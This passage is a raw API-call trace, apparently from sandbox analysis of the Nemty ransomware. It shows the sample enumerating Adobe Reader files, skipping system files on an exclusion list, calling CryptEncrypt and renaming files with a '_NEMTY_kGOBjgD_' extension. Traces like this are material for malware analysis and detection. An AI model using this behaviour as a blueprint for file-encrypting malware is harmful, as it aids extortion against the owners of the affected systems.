lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0203.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0203.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0203.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0203.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0203.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0203.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0203.966] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\etenms-b5-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\etenms-b5-h._nemty_kgobjgd_")) returned 0 [0203.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0203.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0203.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0203.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0203.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0203.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0203.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0203.966] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc89, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETenms-B5-V", cAlternateFileName="ETENMS~2")) returned 1 [0203.966] lstrcmpiW (lpString1="ETenms-B5-V", lpString2=".") returned 1 [0203.966] lstrcmpiW (lpString1="ETenms-B5-V", lpString2="..") returned 1 [0203.966] lstrcmpiW (lpString1="ETenms-B5-V", lpString2="...") returned 1 [0203.966] lstrcmpiW (lpString1="ETenms-B5-V", lpString2="windows") returned -1 [0203.966] lstrcmpiW (lpString1="ETenms-B5-V", lpString2="$RECYCLE.BIN") returned 1 [0203.966] lstrcmpiW (lpString1="ETenms-B5-V", lpString2="rsa") returned -1 [0203.966] lstrcmpiW (lpString1="ETenms-B5-V", lpString2="NTDETECT.COM") returned -1 [0203.966] lstrcmpiW (lpString1="ETenms-B5-V", lpString2="ntldr") returned -1 [0203.966] lstrcmpiW (lpString1="ETenms-B5-V", lpString2="MSDOS.SYS") returned -1 [0203.966] lstrcmpiW (lpString1="ETenms-B5-V", lpString2="IO.SYS") returned -1 [0203.966] lstrcmpiW (lpString1="ETenms-B5-V", lpString2="boot.ini") returned 1 [0203.966] lstrcmpiW (lpString1="ETenms-B5-V", lpString2="boot.ini") returned 1 [0203.966] lstrcmpiW (lpString1="ETenms-B5-V", lpString2="AUTOEXEC.BAT") returned 1 [0203.966] lstrcmpiW (lpString1="ETenms-B5-V", lpString2="ntuser.dat") returned -1 [0203.966] lstrcmpiW (lpString1="ETenms-B5-V", lpString2="desktop.ini") returned 1 [0203.966] lstrcmpiW (lpString1="ETenms-B5-V", lpString2="CONFIG.SYS") returned 1 [0203.966] lstrcmpiW (lpString1="ETenms-B5-V", lpString2="RECYCLER") returned -1 [0203.966] lstrcmpiW (lpString1="ETenms-B5-V", lpString2="BOOTSECT.BAK") returned 1 [0203.966] lstrcmpiW (lpString1="ETenms-B5-V", lpString2="bootmgr") returned 1 [0203.966] lstrcmpiW (lpString1="ETenms-B5-V", lpString2="programdata") returned -1 [0203.966] lstrcmpiW (lpString1="ETenms-B5-V", lpString2="appdata") returned 1 [0203.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETenms-B5-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0203.967] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETenms-B5-V", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETenms-B5-V", lpUsedDefaultChar=0x0) returned 11 [0203.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0203.967] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETenms-B5-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0203.967] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETenms-B5-V", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETenms-B5-V", lpUsedDefaultChar=0x0) returned 11 [0203.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0203.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.967] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETenms-B5-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0203.967] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETenms-B5-V", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETenms-B5-V", lpUsedDefaultChar=0x0) returned 11 [0203.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.967] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETenms-B5-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0203.967] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETenms-B5-V", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETenms-B5-V", lpUsedDefaultChar=0x0) returned 11 [0203.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0203.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0203.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0203.967] Sleep (dwMilliseconds=0x5) [0203.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2d389ed0, dwHighDateTime=0x1d561e8)) [0203.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2d389ed0, dwHighDateTime=0x1d561e8)) [0203.984] GetLastError () returned 0x5 [0203.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0203.984] GetLastError () returned 0x5 [0203.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0203.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0203.985] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0203.985] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0203.985] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0203.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0203.985] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="wFGDAYhZQVlMwxO1pBGNgWPSgx2wc9SCd7qVA3sLMAFGo69Lg5wb9xNBQFDUkh1b\r\nbaXcf53muI6jsEIwxHuGF0nl3b/L1nmAe0ogQ8zKYTY6Wp+GXRHRutbNYAvrsu60\r\nX6Xnd6uRPwLZN8N5QwHtDsYG+M4qk+o8SQtkZROj3JufBb4q+6stsCq38b9sFEqb\r\na5iG9ZyoaIQmPnkWZwf58Oru9QnwAz3QAF+nWwAj2fQjcYKpn1dLhhlvuVqX+wSI\r\nqaFWGs8qcKjpxPeEgcXmDRg0Qc6CxsEGORn4i1bNSzySQlvQeMtiOf+v8wGt2+Oy\r\nGKGSQkKkl+FqMu3lElrVCQ==\r\n", pcchString=0x653e91c) returned 1 [0203.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0203.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0203.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0203.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0203.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0203.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0203.985] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\etenms-b5-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0203.986] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0203.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0203.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.986] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.996] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.996] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.005] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.005] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.015] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.015] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.024] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.024] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.034] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.044] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.044] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.054] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.054] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.064] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.064] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.074] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.074] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.084] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.084] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.090] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.090] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.096] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.097] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0204.097] CloseHandle (hObject=0xffffffff) returned 0 [0204.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0204.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0204.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0204.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0204.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0204.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0204.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0204.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0204.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0204.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0204.097] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\etenms-b5-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\etenms-b5-v._nemty_kgobjgd_")) returned 0 [0204.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0204.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0204.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0204.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0204.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0204.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0204.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0204.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0204.097] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6017, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETHK-B5-H", cAlternateFileName="ETHK-B~1")) returned 1 [0204.097] lstrcmpiW (lpString1="ETHK-B5-H", lpString2=".") returned 1 [0204.097] lstrcmpiW (lpString1="ETHK-B5-H", lpString2="..") returned 1 [0204.097] lstrcmpiW (lpString1="ETHK-B5-H", lpString2="...") returned 1 [0204.097] lstrcmpiW (lpString1="ETHK-B5-H", lpString2="windows") returned -1 [0204.097] lstrcmpiW (lpString1="ETHK-B5-H", lpString2="$RECYCLE.BIN") returned 1 [0204.098] lstrcmpiW (lpString1="ETHK-B5-H", lpString2="rsa") returned -1 [0204.098] lstrcmpiW (lpString1="ETHK-B5-H", lpString2="NTDETECT.COM") returned -1 [0204.098] lstrcmpiW (lpString1="ETHK-B5-H", lpString2="ntldr") returned -1 